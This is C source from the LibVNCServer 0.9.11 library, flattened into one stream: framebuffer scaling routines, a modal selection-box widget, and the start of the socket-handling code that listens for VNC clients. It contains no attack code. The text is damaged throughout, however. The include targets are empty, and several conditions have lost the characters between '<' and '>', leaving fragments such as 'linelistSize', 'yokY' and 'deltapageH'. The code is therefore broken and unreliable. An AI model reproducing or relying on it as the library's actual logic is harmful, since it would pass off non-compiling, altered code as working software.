rfbScaledScreenUpdateRect(rfbScreenInfoPtr screen, rfbScreenInfoPtr ptr, int x0, int y0, int w0, int h0) { int x,y,w,v,z; int x1, y1, w1, h1; int bitsPerPixel, bytesPerPixel, bytesPerLine, areaX, areaY, area2; unsigned char *srcptr, *dstptr; /* Nothing to do!!! */ if (screen==ptr) return; x1 = x0; y1 = y0; w1 = w0; h1 = h0; rfbScaledCorrection(screen, ptr, &x1, &y1, &w1, &h1, "rfbScaledScreenUpdateRect"); x0 = ScaleX(ptr, screen, x1); y0 = ScaleY(ptr, screen, y1); w0 = ScaleX(ptr, screen, w1); h0 = ScaleY(ptr, screen, h1); bitsPerPixel = screen->bitsPerPixel; bytesPerPixel = bitsPerPixel / 8; bytesPerLine = w1 * bytesPerPixel; srcptr = (unsigned char *)(screen->frameBuffer + (y0 * screen->paddedWidthInBytes + x0 * bytesPerPixel)); dstptr = (unsigned char *)(ptr->frameBuffer + ( y1 * ptr->paddedWidthInBytes + x1 * bytesPerPixel)); /* The area of the source framebuffer for each destination pixel */ areaX = ScaleX(ptr,screen,1); areaY = ScaleY(ptr,screen,1); area2 = areaX*areaY; /* Ensure that we do not go out of bounds */ if ((x1+w1) > (ptr->width)) { if (x1==0) w1=ptr->width; else x1 = ptr->width - w1; } if ((y1+h1) > (ptr->height)) { if (y1==0) h1=ptr->height; else y1 = ptr->height - h1; } /* * rfbLog("rfbScaledScreenUpdateRect(%dXx%dY-%dWx%dH -> %dXx%dY-%dWx%dH <%dx%d>) {%dWx%dH -> %dWx%dH} 0x%p\n", * x0, y0, w0, h0, x1, y1, w1, h1, areaX, areaY, * screen->width, screen->height, ptr->width, ptr->height, ptr->frameBuffer); */ if (screen->serverFormat.trueColour) { /* Blend neighbouring pixels together */ unsigned char *srcptr2; unsigned long pixel_value, red, green, blue; unsigned int redShift = screen->serverFormat.redShift; unsigned int greenShift = screen->serverFormat.greenShift; unsigned int blueShift = screen->serverFormat.blueShift; unsigned long redMax = screen->serverFormat.redMax; unsigned long greenMax = screen->serverFormat.greenMax; unsigned long blueMax = screen->serverFormat.blueMax; /* for each *destination* pixel... */ for (y = 0; y < h1; y++) { for (x = 0; x < w1; x++) { red = green = blue = 0; /* Get the totals for rgb from the source grid... */ for (w = 0; w < areaX; w++) { for (v = 0; v < areaY; v++) { srcptr2 = &srcptr[(((x * areaX) + w) * bytesPerPixel) + (v * screen->paddedWidthInBytes)]; pixel_value = 0; switch (bytesPerPixel) { case 4: pixel_value = *((unsigned int *)srcptr2); break; case 2: pixel_value = *((unsigned short *)srcptr2); break; case 1: pixel_value = *((unsigned char *)srcptr2); break; default: /* fixme: endianness problem? */ for (z = 0; z < bytesPerPixel; z++) pixel_value += (srcptr2[z] << (8 * z)); break; } /* srcptr2 += bytesPerPixel; */ red += ((pixel_value >> redShift) & redMax); green += ((pixel_value >> greenShift) & greenMax); blue += ((pixel_value >> blueShift) & blueMax); } } /* We now have a total for all of the colors, find the average! */ red /= area2; green /= area2; blue /= area2; /* Stuff the new value back into memory */ pixel_value = ((red & redMax) << redShift) | ((green & greenMax) << greenShift) | ((blue & blueMax) << blueShift); switch (bytesPerPixel) { case 4: *((unsigned int *)dstptr) = (unsigned int) pixel_value; break; case 2: *((unsigned short *)dstptr) = (unsigned short) pixel_value; break; case 1: *((unsigned char *)dstptr) = (unsigned char) pixel_value; break; default: /* fixme: endianness problem? */ for (z = 0; z < bytesPerPixel; z++) dstptr[z]=(pixel_value >> (8 * z)) & 0xff; break; } dstptr += bytesPerPixel; } srcptr += (screen->paddedWidthInBytes * areaY); dstptr += (ptr->paddedWidthInBytes - bytesPerLine); } } else { /* Not truecolour, so we can't blend. Just use the top-left pixel instead */ for (y = y1; y < (y1+h1); y++) { for (x = x1; x < (x1+w1); x++) memcpy (&ptr->frameBuffer[(y *ptr->paddedWidthInBytes) + (x * bytesPerPixel)], &screen->frameBuffer[(y * areaY * screen->paddedWidthInBytes) + (x *areaX * bytesPerPixel)], bytesPerPixel); } } } void rfbScaledScreenUpdate(rfbScreenInfoPtr screen, int x1, int y1, int x2, int y2) { /* ok, now the task is to update each and every scaled version of the framebuffer * and we only have to do this for this specific changed rectangle! */ rfbScreenInfoPtr ptr; int count=0; /* We don't point to cl->screen as it is the original */ for (ptr=screen->scaledScreenNext;ptr!=NULL;ptr=ptr->scaledScreenNext) { /* Only update if it has active clients... */ if (ptr->scaledScreenRefCount>0) { rfbScaledScreenUpdateRect(screen, ptr, x1, y1, x2-x1, y2-y1); count++; } } } /* Create a new scaled version of the framebuffer */ rfbScreenInfoPtr rfbScaledScreenAllocate(rfbClientPtr cl, int width, int height) { rfbScreenInfoPtr ptr; ptr = malloc(sizeof(rfbScreenInfo)); if (ptr!=NULL) { int allocSize; /* copy *everything* (we don't use most of it, but just in case) */ memcpy(ptr, cl->screen, sizeof(rfbScreenInfo)); /* SECURITY: make sure that no integer overflow will occur afterwards. * Note: this is defensive coding, as the check should have already been * performed during initial, non-scaled screen setup. */ allocSize = pad4(width * (ptr->bitsPerPixel/8)); /* per protocol, width<2**16 and bpp<256 */ if (height == 0 || allocSize >= SIZE_MAX / height) { free(ptr); return NULL; /* malloc() will allocate an incorrect buffer size - early abort */ } /* Resume copy everything */ ptr->width = width; ptr->height = height; ptr->paddedWidthInBytes = (ptr->bitsPerPixel/8)*ptr->width; /* Need to by multiples of 4 for Sparc systems */ ptr->paddedWidthInBytes = pad4(ptr->paddedWidthInBytes); /* Reset the reference count to 0! */ ptr->scaledScreenRefCount = 0; ptr->sizeInBytes = ptr->paddedWidthInBytes * ptr->height; ptr->serverFormat = cl->screen->serverFormat; ptr->frameBuffer = malloc(ptr->sizeInBytes); if (ptr->frameBuffer!=NULL) { /* Reset to a known condition: scale the entire framebuffer */ rfbScaledScreenUpdateRect(cl->screen, ptr, 0, 0, cl->screen->width, cl->screen->height); /* Now, insert into the chain */ LOCK(cl->updateMutex); ptr->scaledScreenNext = cl->screen->scaledScreenNext; cl->screen->scaledScreenNext = ptr; UNLOCK(cl->updateMutex); } else { /* Failed to malloc the new frameBuffer, cleanup */ free(ptr); ptr=NULL; } } return ptr; } /* Find an active scaled version of the framebuffer * TODO: implement a refcount per scaled screen to prevent * unreferenced scaled screens from hanging around */ rfbScreenInfoPtr rfbScalingFind(rfbClientPtr cl, int width, int height) { rfbScreenInfoPtr ptr; /* include the original in the search (ie: fine 1:1 scaled version of the frameBuffer) */ for (ptr=cl->screen; ptr!=NULL; ptr=ptr->scaledScreenNext) { if ((ptr->width==width) && (ptr->height==height)) return ptr; } return NULL; } /* Future needs "scale to 320x240, as that's the client's screen size */ void rfbScalingSetup(rfbClientPtr cl, int width, int height) { rfbScreenInfoPtr ptr; ptr = rfbScalingFind(cl,width,height); if (ptr==NULL) ptr = rfbScaledScreenAllocate(cl,width,height); /* Now, there is a new screen available (if ptr is not NULL) */ if (ptr!=NULL) { /* Update it! */ if (ptr->scaledScreenRefCount<1) rfbScaledScreenUpdateRect(cl->screen, ptr, 0, 0, cl->screen->width, cl->screen->height); /* * rfbLog("Taking one from %dx%d-%d and adding it to %dx%d-%d\n", * cl->scaledScreen->width, cl->scaledScreen->height, * cl->scaledScreen->scaledScreenRefCount, * ptr->width, ptr->height, ptr->scaledScreenRefCount); */ LOCK(cl->updateMutex); cl->scaledScreen->scaledScreenRefCount--; ptr->scaledScreenRefCount++; cl->scaledScreen=ptr; cl->newFBSizePending = TRUE; UNLOCK(cl->updateMutex); rfbLog("Scaling to %dx%d (refcount=%d)\n",width,height,ptr->scaledScreenRefCount); } else rfbLog("Scaling to %dx%d failed, leaving things alone\n",width,height); } int rfbSendNewScaleSize(rfbClientPtr cl) { /* if the client supports newFBsize Encoding, use it */ if (cl->useNewFBSize && cl->newFBSizePending) return FALSE; LOCK(cl->updateMutex); cl->newFBSizePending = FALSE; UNLOCK(cl->updateMutex); if (cl->PalmVNC==TRUE) { rfbPalmVNCReSizeFrameBufferMsg pmsg; pmsg.type = rfbPalmVNCReSizeFrameBuffer; pmsg.pad1 = 0; pmsg.desktop_w = Swap16IfLE(cl->screen->width); pmsg.desktop_h = Swap16IfLE(cl->screen->height); pmsg.buffer_w = Swap16IfLE(cl->scaledScreen->width); pmsg.buffer_h = Swap16IfLE(cl->scaledScreen->height); pmsg.pad2 = 0; rfbLog("Sending a response to a PalmVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height); if (rfbWriteExact(cl, (char *)&pmsg, sz_rfbPalmVNCReSizeFrameBufferMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); return FALSE; } } else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth = Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height); if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); return FALSE; } } return TRUE; } /****************************/ libvncserver-LibVNCServer-0.9.11/libvncserver/scale.h000066400000000000000000000013021303145525000225060ustar00rootroot00000000000000 int ScaleX(rfbScreenInfoPtr from, rfbScreenInfoPtr to, int x); int ScaleY(rfbScreenInfoPtr from, rfbScreenInfoPtr to, int y); void rfbScaledCorrection(rfbScreenInfoPtr from, rfbScreenInfoPtr to, int *x, int *y, int *w, int *h, const char *function); void rfbScaledScreenUpdateRect(rfbScreenInfoPtr screen, rfbScreenInfoPtr ptr, int x0, int y0, int w0, int h0); void rfbScaledScreenUpdate(rfbScreenInfoPtr screen, int x1, int y1, int x2, int y2); rfbScreenInfoPtr rfbScaledScreenAllocate(rfbClientPtr cl, int width, int height); rfbScreenInfoPtr rfbScalingFind(rfbClientPtr cl, int width, int height); void rfbScalingSetup(rfbClientPtr cl, int width, int height); int rfbSendNewScaleSize(rfbClientPtr cl); libvncserver-LibVNCServer-0.9.11/libvncserver/selbox.c000066400000000000000000000212661303145525000227210ustar00rootroot00000000000000#include #include #include typedef struct { rfbScreenInfoPtr screen; rfbFontDataPtr font; char** list; int listSize; int selected; int displayStart; int x1,y1,x2,y2,textH,pageH; int xhot,yhot; int buttonWidth,okBX,cancelBX,okX,cancelX,okY; rfbBool okInverted,cancelInverted; int lastButtons; rfbPixel colour,backColour; SelectionChangedHookPtr selChangedHook; enum { SELECTING, OK, CANCEL } state; } rfbSelectData; static const char* okStr="OK"; static const char* cancelStr="Cancel"; static void selPaintButtons(rfbSelectData* m,rfbBool invertOk,rfbBool invertCancel) { rfbScreenInfoPtr s = m->screen; rfbPixel bcolour = m->backColour; rfbPixel colour = m->colour; rfbFillRect(s,m->x1,m->okY-m->textH,m->x2,m->okY,bcolour); if(invertOk) { rfbFillRect(s,m->okBX,m->okY-m->textH,m->okBX+m->buttonWidth,m->okY,colour); rfbDrawStringWithClip(s,m->font,m->okX+m->xhot,m->okY-1+m->yhot,okStr, m->x1,m->okY-m->textH,m->x2,m->okY, bcolour,colour); } else rfbDrawString(s,m->font,m->okX+m->xhot,m->okY-1+m->yhot,okStr,colour); if(invertCancel) { rfbFillRect(s,m->cancelBX,m->okY-m->textH, m->cancelBX+m->buttonWidth,m->okY,colour); rfbDrawStringWithClip(s,m->font,m->cancelX+m->xhot,m->okY-1+m->yhot, cancelStr,m->x1,m->okY-m->textH,m->x2,m->okY, bcolour,colour); } else rfbDrawString(s,m->font,m->cancelX+m->xhot,m->okY-1+m->yhot,cancelStr,colour); m->okInverted = invertOk; m->cancelInverted = invertCancel; } /* line is relative to displayStart */ static void selPaintLine(rfbSelectData* m,int line,rfbBool invert) { int y1 = m->y1+line*m->textH, y2 = y1+m->textH; if(y2>m->y2) y2=m->y2; rfbFillRect(m->screen,m->x1,y1,m->x2,y2,invert?m->colour:m->backColour); if(m->displayStart+linelistSize) rfbDrawStringWithClip(m->screen,m->font,m->x1+m->xhot,y2-1+m->yhot, m->list[m->displayStart+line], m->x1,y1,m->x2,y2, invert?m->backColour:m->colour, invert?m->backColour:m->colour); } static void selSelect(rfbSelectData* m,int _index) { int delta; if(_index==m->selected || _index<0 || _index>=m->listSize) return; if(m->selected>=0) selPaintLine(m,m->selected-m->displayStart,FALSE); if(_indexdisplayStart || _index>=m->displayStart+m->pageH) { /* targetLine is the screen line in which the selected line will be displayed. targetLine = m->pageH/2 doesn't look so nice */ int targetLine = m->selected-m->displayStart; int lineStart,lineEnd; /* scroll */ if(_indexpageH-targetLine>=m->listSize) targetLine = _index+m->pageH-m->listSize; delta = _index-(m->displayStart+targetLine); if(delta>-m->pageH && deltapageH) { if(delta>0) { lineStart = m->pageH-delta; lineEnd = m->pageH; rfbDoCopyRect(m->screen,m->x1,m->y1,m->x2,m->y1+lineStart*m->textH, 0,-delta*m->textH); } else { lineStart = 0; lineEnd = -delta; rfbDoCopyRect(m->screen, m->x1,m->y1+lineEnd*m->textH,m->x2,m->y2, 0,-delta*m->textH); } } else { lineStart = 0; lineEnd = m->pageH; } m->displayStart += delta; for(delta=lineStart;deltaselected = _index; selPaintLine(m,m->selected-m->displayStart,TRUE); if(m->selChangedHook) m->selChangedHook(_index); /* todo: scrollbars */ } static void selKbdAddEvent(rfbBool down,rfbKeySym keySym,rfbClientPtr cl) { if(down) { if(keySym>' ' && keySym<0xff) { int i; rfbSelectData* m = (rfbSelectData*)cl->screen->screenData; char c = tolower(keySym); for(i=m->selected+1;m->list[i] && tolower(m->list[i][0])!=c;i++); if(!m->list[i]) for(i=0;iselected && tolower(m->list[i][0])!=c;i++); selSelect(m,i); } else if(keySym==XK_Escape) { rfbSelectData* m = (rfbSelectData*)cl->screen->screenData; m->state = CANCEL; } else if(keySym==XK_Return) { rfbSelectData* m = (rfbSelectData*)cl->screen->screenData; m->state = OK; } else { rfbSelectData* m = (rfbSelectData*)cl->screen->screenData; int curSel=m->selected; if(keySym==XK_Up) { if(curSel>0) selSelect(m,curSel-1); } else if(keySym==XK_Down) { if(curSel+1listSize) selSelect(m,curSel+1); } else { if(keySym==XK_Page_Down) { if(curSel+m->pageHlistSize) selSelect(m,curSel+m->pageH); else selSelect(m,m->listSize-1); } else if(keySym==XK_Page_Up) { if(curSel-m->pageH>=0) selSelect(m,curSel-m->pageH); else selSelect(m,0); } } } } } static void selPtrAddEvent(int buttonMask,int x,int y,rfbClientPtr cl) { rfbSelectData* m = (rfbSelectData*)cl->screen->screenData; if(yokY && y>=m->okY-m->textH) { if(x>=m->okBX && xokBX+m->buttonWidth) { if(!m->okInverted) selPaintButtons(m,TRUE,FALSE); if(buttonMask) m->state = OK; } else if(x>=m->cancelBX && xcancelBX+m->buttonWidth) { if(!m->cancelInverted) selPaintButtons(m,FALSE,TRUE); if(buttonMask) m->state = CANCEL; } else if(m->okInverted || m->cancelInverted) selPaintButtons(m,FALSE,FALSE); } else { if(m->okInverted || m->cancelInverted) selPaintButtons(m,FALSE,FALSE); if(!m->lastButtons && buttonMask) { if(x>=m->x1 && xx2 && y>=m->y1 && yy2) selSelect(m,m->displayStart+(y-m->y1)/m->textH); } } m->lastButtons = buttonMask; /* todo: scrollbars */ } static rfbCursorPtr selGetCursorPtr(rfbClientPtr cl) { return NULL; } int rfbSelectBox(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font, char** list, int x1,int y1,int x2,int y2, rfbPixel colour,rfbPixel backColour, int border,SelectionChangedHookPtr selChangedHook) { int bpp = rfbScreen->bitsPerPixel/8; char* frameBufferBackup; void* screenDataBackup = rfbScreen->screenData; rfbKbdAddEventProcPtr kbdAddEventBackup = rfbScreen->kbdAddEvent; rfbPtrAddEventProcPtr ptrAddEventBackup = rfbScreen->ptrAddEvent; rfbGetCursorProcPtr getCursorPtrBackup = rfbScreen->getCursorPtr; rfbDisplayHookPtr displayHookBackup = rfbScreen->displayHook; rfbSelectData selData; int i,j,k; int fx1,fy1,fx2,fy2; /* for font bbox */ if(list==0 || *list==0) return(-1); rfbWholeFontBBox(font, &fx1, &fy1, &fx2, &fy2); selData.textH = fy2-fy1; /* I need at least one line for the choice and one for the buttons */ if(y2-y1screenData = &selData; rfbScreen->kbdAddEvent = selKbdAddEvent; rfbScreen->ptrAddEvent = selPtrAddEvent; rfbScreen->getCursorPtr = selGetCursorPtr; rfbScreen->displayHook = NULL; /* backup screen */ for(j=0;jframeBuffer+j*rfbScreen->paddedWidthInBytes+x1*bpp, (x2-x1)*bpp); /* paint list and buttons */ rfbFillRect(rfbScreen,x1,y1,x2,y2,colour); selPaintButtons(&selData,FALSE,FALSE); selSelect(&selData,0); /* modal loop */ while(selData.state == SELECTING) rfbProcessEvents(rfbScreen,20000); /* copy back screen data */ for(j=0;jframeBuffer+j*rfbScreen->paddedWidthInBytes+x1*bpp, frameBufferBackup+j*(x2-x1)*bpp, (x2-x1)*bpp); free(frameBufferBackup); rfbMarkRectAsModified(rfbScreen,x1,y1,x2,y2); rfbScreen->screenData = screenDataBackup; rfbScreen->kbdAddEvent = kbdAddEventBackup; rfbScreen->ptrAddEvent = ptrAddEventBackup; rfbScreen->getCursorPtr = getCursorPtrBackup; rfbScreen->displayHook = displayHookBackup; if(selData.state==CANCEL) selData.selected=-1; return(selData.selected); } libvncserver-LibVNCServer-0.9.11/libvncserver/sockets.c000066400000000000000000000676701303145525000231110ustar00rootroot00000000000000/* * sockets.c - deal with TCP & UDP sockets. * * This code should be independent of any changes in the RFB protocol. It just * deals with the X server scheduling stuff, calling rfbNewClientConnection and * rfbProcessClientMessage to actually deal with the protocol. If a socket * needs to be closed for any reason then rfbCloseClient should be called. In turn, * rfbClientConnectionGone will be called by rfbProcessEvents (non-threaded case) * or clientInput (threaded case) in main.c. To make an active * connection out, call rfbConnect - note that this does _not_ call * rfbNewClientConnection. * * This file is divided into two types of function. Those beginning with * "rfb" are specific to sockets using the RFB protocol. Those without the * "rfb" prefix are more general socket routines (which are used by the http * code). * * Thanks to Karl Hakimian for pointing out that some platforms return EAGAIN * not EWOULDBLOCK. */ /* * Copyright (C) 2011-2012 Christian Beier * Copyright (C) 2005 Rohit Kumar, Johannes E. Schindelin * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #ifdef __linux__ /* Setting this on other systems hides definitions such as INADDR_LOOPBACK. * The check should be for __GLIBC__ in fact. */ # define _POSIX_SOURCE #endif #endif #include #ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H #include #endif #ifdef LIBVNCSERVER_HAVE_SYS_TIME_H #include #endif #ifdef LIBVNCSERVER_HAVE_SYS_SOCKET_H #include #endif #ifdef LIBVNCSERVER_HAVE_NETINET_IN_H #include #include #include #include #endif #ifdef LIBVNCSERVER_HAVE_UNISTD_H #include #endif #ifdef LIBVNCSERVER_WITH_WEBSOCKETS #include "rfbssl.h" #endif #ifdef LIBVNCSERVER_WITH_SYSTEMD #include #endif #if defined(__linux__) && defined(NEED_TIMEVAL) struct timeval { long int tv_sec,tv_usec; } ; #endif #ifdef LIBVNCSERVER_HAVE_FCNTL_H #include #endif #include #ifdef USE_LIBWRAP #include #include int allow_severity=LOG_INFO; int deny_severity=LOG_WARNING; #endif #if defined(WIN32) #include #include #ifndef __MINGW32__ #pragma warning (disable: 4018 4761) #endif #define read(sock,buf,len) recv(sock,buf,len,0) #define EWOULDBLOCK WSAEWOULDBLOCK #define ETIMEDOUT WSAETIMEDOUT #define write(sock,buf,len) send(sock,buf,len,0) #else #define closesocket close #endif #ifdef _MSC_VER #define SHUT_RD 0x00 #define SHUT_WR 0x01 #define SHUT_RDWR 0x02 #define snprintf _snprintf /* Missing in MSVC */ #endif int rfbMaxClientWait = 20000; /* time (ms) after which we decide client has gone away - needed to stop us hanging */ static rfbBool rfbNewConnectionFromSock(rfbScreenInfoPtr rfbScreen, int sock) { const int one = 1; #ifdef LIBVNCSERVER_IPv6 struct sockaddr_storage addr; #else struct sockaddr_in addr; #endif socklen_t addrlen = sizeof(addr); getpeername(sock, (struct sockaddr *)&addr, &addrlen); if(!rfbSetNonBlocking(sock)) { rfbLogPerror("rfbCheckFds: setnonblock"); closesocket(sock); return FALSE; } if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) { rfbLogPerror("rfbCheckFds: setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?"); } #ifdef USE_LIBWRAP if(!hosts_ctl("vnc",STRING_UNKNOWN,inet_ntoa(addr.sin_addr), STRING_UNKNOWN)) { rfbLog("Rejected connection from client %s\n", inet_ntoa(addr.sin_addr)); closesocket(sock); return FALSE; } #endif #ifdef LIBVNCSERVER_IPv6 char host[1024]; if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) { rfbLogPerror("rfbProcessNewConnection: error in getnameinfo"); } rfbLog("Got connection from client %s\n", host); #else rfbLog("Got connection from client %s\n", inet_ntoa(addr.sin_addr)); #endif rfbNewClient(rfbScreen,sock); return TRUE; } /* * rfbInitSockets sets up the TCP and UDP sockets to listen for RFB * connections. It does nothing if called again. */ void rfbInitSockets(rfbScreenInfoPtr rfbScreen) { in_addr_t iface = rfbScreen->listenInterface; if (rfbScreen->socketState == RFB_SOCKET_READY) { return; } rfbScreen->socketState = RFB_SOCKET_READY; #ifdef LIBVNCSERVER_WITH_SYSTEMD if (sd_listen_fds(0) == 1) { int sock = SD_LISTEN_FDS_START + 0; if (sd_is_socket(sock, AF_UNSPEC, 0, 0)) rfbNewConnectionFromSock(rfbScreen, sock); else if (sd_is_socket(sock, AF_UNSPEC, 0, 1)) rfbProcessNewConnection(rfbScreen); return; } else rfbLog("Unable to establish connection with systemd socket\n"); #endif if (rfbScreen->inetdSock != -1) { const int one = 1; if(!rfbSetNonBlocking(rfbScreen->inetdSock)) return; if (setsockopt(rfbScreen->inetdSock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) { rfbLogPerror("setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?"); } FD_ZERO(&(rfbScreen->allFds)); FD_SET(rfbScreen->inetdSock, &(rfbScreen->allFds)); rfbScreen->maxFd = rfbScreen->inetdSock; return; } FD_ZERO(&(rfbScreen->allFds)); if(rfbScreen->autoPort && rfbScreen->port>0) { int i; rfbLog("Autoprobing TCP port \n"); for (i = 5900; i < 6000; i++) { if ((rfbScreen->listenSock = rfbListenOnTCPPort(i, iface)) >= 0) { rfbScreen->port = i; break; } } if (i >= 6000) { rfbLogPerror("Failure autoprobing"); return; } rfbLog("Autoprobing selected TCP port %d\n", rfbScreen->port); FD_SET(rfbScreen->listenSock, &(rfbScreen->allFds)); rfbScreen->maxFd = rfbScreen->listenSock; } #ifdef LIBVNCSERVER_IPv6 if(rfbScreen->autoPort && rfbScreen->ipv6port>0) { int i; rfbLog("Autoprobing TCP6 port \n"); for (i = 5900; i < 6000; i++) { if ((rfbScreen->listen6Sock = rfbListenOnTCP6Port(i, rfbScreen->listen6Interface)) >= 0) { rfbScreen->ipv6port = i; break; } } if (i >= 6000) { rfbLogPerror("Failure autoprobing"); return; } rfbLog("Autoprobing selected TCP6 port %d\n", rfbScreen->ipv6port); FD_SET(rfbScreen->listen6Sock, &(rfbScreen->allFds)); rfbScreen->maxFd = rfbMax((int)rfbScreen->listen6Sock,rfbScreen->maxFd); } #endif if(!rfbScreen->autoPort) { if(rfbScreen->port>0) { if ((rfbScreen->listenSock = rfbListenOnTCPPort(rfbScreen->port, iface)) < 0) { rfbLogPerror("ListenOnTCPPort"); return; } rfbLog("Listening for VNC connections on TCP port %d\n", rfbScreen->port); FD_SET(rfbScreen->listenSock, &(rfbScreen->allFds)); rfbScreen->maxFd = rfbScreen->listenSock; } #ifdef LIBVNCSERVER_IPv6 if (rfbScreen->ipv6port>0) { if ((rfbScreen->listen6Sock = rfbListenOnTCP6Port(rfbScreen->ipv6port, rfbScreen->listen6Interface)) < 0) { /* ListenOnTCP6Port has its own detailed error printout */ return; } rfbLog("Listening for VNC connections on TCP6 port %d\n", rfbScreen->ipv6port); FD_SET(rfbScreen->listen6Sock, &(rfbScreen->allFds)); rfbScreen->maxFd = rfbMax((int)rfbScreen->listen6Sock,rfbScreen->maxFd); } #endif } if (rfbScreen->udpPort != 0) { rfbLog("rfbInitSockets: listening for input on UDP port %d\n",rfbScreen->udpPort); if ((rfbScreen->udpSock = rfbListenOnUDPPort(rfbScreen->udpPort, iface)) < 0) { rfbLogPerror("ListenOnUDPPort"); return; } rfbLog("Listening for VNC connections on TCP port %d\n", rfbScreen->port); FD_SET(rfbScreen->udpSock, &(rfbScreen->allFds)); rfbScreen->maxFd = rfbMax((int)rfbScreen->udpSock,rfbScreen->maxFd); } } void rfbShutdownSockets(rfbScreenInfoPtr rfbScreen) { if (rfbScreen->socketState!=RFB_SOCKET_READY) return; rfbScreen->socketState = RFB_SOCKET_SHUTDOWN; if(rfbScreen->inetdSock>-1) { closesocket(rfbScreen->inetdSock); FD_CLR(rfbScreen->inetdSock,&rfbScreen->allFds); rfbScreen->inetdSock=-1; } if(rfbScreen->listenSock>-1) { closesocket(rfbScreen->listenSock); FD_CLR(rfbScreen->listenSock,&rfbScreen->allFds); rfbScreen->listenSock=-1; } if(rfbScreen->listen6Sock>-1) { closesocket(rfbScreen->listen6Sock); FD_CLR(rfbScreen->listen6Sock,&rfbScreen->allFds); rfbScreen->listen6Sock=-1; } if(rfbScreen->udpSock>-1) { closesocket(rfbScreen->udpSock); FD_CLR(rfbScreen->udpSock,&rfbScreen->allFds); rfbScreen->udpSock=-1; } } /* * rfbCheckFds is called from ProcessInputEvents to check for input on the RFB * socket(s). If there is input to process, the appropriate function in the * RFB server code will be called (rfbNewClientConnection, * rfbProcessClientMessage, etc). */ int rfbCheckFds(rfbScreenInfoPtr rfbScreen,long usec) { int nfds; fd_set fds; struct timeval tv; struct sockaddr_in addr; socklen_t addrlen = sizeof(addr); char buf[6]; rfbClientIteratorPtr i; rfbClientPtr cl; int result = 0; if (!rfbScreen->inetdInitDone && rfbScreen->inetdSock != -1) { rfbNewClientConnection(rfbScreen,rfbScreen->inetdSock); rfbScreen->inetdInitDone = TRUE; } do { memcpy((char *)&fds, (char *)&(rfbScreen->allFds), sizeof(fd_set)); tv.tv_sec = 0; tv.tv_usec = usec; nfds = select(rfbScreen->maxFd + 1, &fds, NULL, NULL /* &fds */, &tv); if (nfds == 0) { /* timed out, check for async events */ i = rfbGetClientIterator(rfbScreen); while((cl = rfbClientIteratorNext(i))) { if (cl->onHold) continue; if (FD_ISSET(cl->sock, &(rfbScreen->allFds))) rfbSendFileTransferChunk(cl); } rfbReleaseClientIterator(i); return result; } if (nfds < 0) { #ifdef WIN32 errno = WSAGetLastError(); #endif if (errno != EINTR) rfbLogPerror("rfbCheckFds: select"); return -1; } result += nfds; if (rfbScreen->listenSock != -1 && FD_ISSET(rfbScreen->listenSock, &fds)) { if (!rfbProcessNewConnection(rfbScreen)) return -1; FD_CLR(rfbScreen->listenSock, &fds); if (--nfds == 0) return result; } if (rfbScreen->listen6Sock != -1 && FD_ISSET(rfbScreen->listen6Sock, &fds)) { if (!rfbProcessNewConnection(rfbScreen)) return -1; FD_CLR(rfbScreen->listen6Sock, &fds); if (--nfds == 0) return result; } if ((rfbScreen->udpSock != -1) && FD_ISSET(rfbScreen->udpSock, &fds)) { if(!rfbScreen->udpClient) rfbNewUDPClient(rfbScreen); if (recvfrom(rfbScreen->udpSock, buf, 1, MSG_PEEK, (struct sockaddr *)&addr, &addrlen) < 0) { rfbLogPerror("rfbCheckFds: UDP: recvfrom"); rfbDisconnectUDPSock(rfbScreen); rfbScreen->udpSockConnected = FALSE; } else { if (!rfbScreen->udpSockConnected || (memcmp(&addr, &rfbScreen->udpRemoteAddr, addrlen) != 0)) { /* new remote end */ rfbLog("rfbCheckFds: UDP: got connection\n"); memcpy(&rfbScreen->udpRemoteAddr, &addr, addrlen); rfbScreen->udpSockConnected = TRUE; if (connect(rfbScreen->udpSock, (struct sockaddr *)&addr, addrlen) < 0) { rfbLogPerror("rfbCheckFds: UDP: connect"); rfbDisconnectUDPSock(rfbScreen); return -1; } rfbNewUDPConnection(rfbScreen,rfbScreen->udpSock); } rfbProcessUDPInput(rfbScreen); } FD_CLR(rfbScreen->udpSock, &fds); if (--nfds == 0) return result; } i = rfbGetClientIterator(rfbScreen); while((cl = rfbClientIteratorNext(i))) { if (cl->onHold) continue; if (FD_ISSET(cl->sock, &(rfbScreen->allFds))) { if (FD_ISSET(cl->sock, &fds)) { #ifdef LIBVNCSERVER_WITH_WEBSOCKETS do { rfbProcessClientMessage(cl); } while (cl->sock > 0 && webSocketsHasDataInBuffer(cl)); #else rfbProcessClientMessage(cl); #endif } else rfbSendFileTransferChunk(cl); } } rfbReleaseClientIterator(i); } while(rfbScreen->handleEventsEagerly); return result; } rfbBool rfbProcessNewConnection(rfbScreenInfoPtr rfbScreen) { int sock = -1; fd_set listen_fds; int chosen_listen_sock = -1; /* Do another select() call to find out which listen socket has an incoming connection pending. We know that at least one of 